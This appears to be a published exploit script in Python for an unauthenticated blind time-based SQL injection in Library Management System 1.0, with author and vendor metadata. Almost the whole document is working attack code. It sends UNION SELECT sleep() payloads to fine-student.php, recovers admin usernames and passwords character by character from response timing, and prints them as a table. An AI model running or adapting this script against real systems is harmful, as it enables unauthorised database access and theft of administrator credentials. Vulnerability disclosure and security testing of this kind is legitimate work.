# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated) # Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec) # Date: 16/09/2021 # Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip # Vendor: breakthrough2 # Tested on: Kali Linux, Apache, Mysql # Version: v1.0 # Exploit Description: # Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack. # Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html import requests,argparse from colorama import (Fore as F, Back as B, Style as S) BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT def bullet(char,color): C=FB if color == 'B' else FR if color == 'R' else FG return SB+C+'['+ST+SB+char+SB+C+']'+ST+' ' info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G') requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} # POST /LibraryManagement/fine-student.php # inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha def sqliPayload(char,position,userid,column,table): sqli = 'inject\' UNION SELECT IF(SUBSTRING(' sqli += str(column)+',' sqli += str(position)+',1) = \'' sqli += str(char)+'\',sleep(1),null) FROM ' sqli += str(table)+' WHERE adminId=' sqli += str(userid)+'; -- kamahamaha' return sqli chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', 'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7', '8','9','@','#'] def postRequest(URL,sqliReq,char,position,pxy): sqliURL = URL params = {"check":1,"id":sqliReq} if pxy: req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10) else: req = requests.post(url=sqliURL, data=params, verify=False, timeout=10) #print("{} : {}".format(char,req.elapsed.total_seconds())) return req.elapsed.total_seconds() def theHarvester(target,CHARS,url,pxy): #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id'])) position = 1 theHarvest = "" while position < 8: for char in CHARS: sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table']) if postRequest(url,sqliReq,char,position,pxy) > 1: theHarvest += char break; position += 1 return theHarvest class userObj: def __init__(self,username,password): self.username = username self.password = password class tableSize: def __init__(self,sizeU,sizeP): self.sizeU = sizeU self.sizeP = sizeP self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST def printHeader(self): width = self.sizeU+self.sizeP+3 print(BR+" "*width+ST) print(self.uTitle,self.pTitle) print(BR+" "*width+ST) def printTableRow(user,size): username = user.username unLen = len(username) if unLen < size.sizeU: username = username+(" "*(size.sizeU - unLen)) else: name = name[:size.sizeU] username += BR+" "+ST password = user.password pLen = len(password) if pLen < size.sizeP: password = password+(" "*(size.sizeP - pLen)) else: password = password[:size.sizeP] password += BR+" "+ST print(username,password) def sig(): SIG = SB+FY+" .-----.._ ,--.\n" SIG += FY+" | .. > ___ | | .--.\n" SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __\n" SIG += FY+" | ) "+FR+" * *"+FY+" / \\ \\\n" SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\\n" SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____\n"+ST return SIG def argsetup(): about = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST parser = argparse.ArgumentParser(description=about) parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"') parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5') parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent') args = parser.parse_args() if args.proxy: regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$' if re.match(regex,args.proxy,re.IGNORECASE): args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)} else: print('{}Error: Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex)) print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0])) sys.exit(-1) else: proxy = False return args if __name__ == "__main__": header = SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST print(header) print(sig()) args = argsetup() host = args.targetHost pxy = args.proxy admins = args.DumpXAdmins PATH = host+"/LibraryManagement/fine-student.php" size = tableSize(20,20) size.printHeader() dumpnumber = 1 while dumpnumber <= admins: adminUsername = { "id":dumpnumber, "table":"admin", "column":"username"} adminUsername = theHarvester(adminUsername,chars,PATH,pxy) adminPassword = { "id":dumpnumber, "table":"admin", "column":"password"} adminPass = theHarvester(adminPassword,chars,PATH,pxy) adminUser = userObj(adminUsername,adminPass) printTableRow(adminUser,size) # print("Admin's Username is: {}".format(adminUsername)) # print("Admin's Password is: {}".format(adminPass)) dumpnumber += 1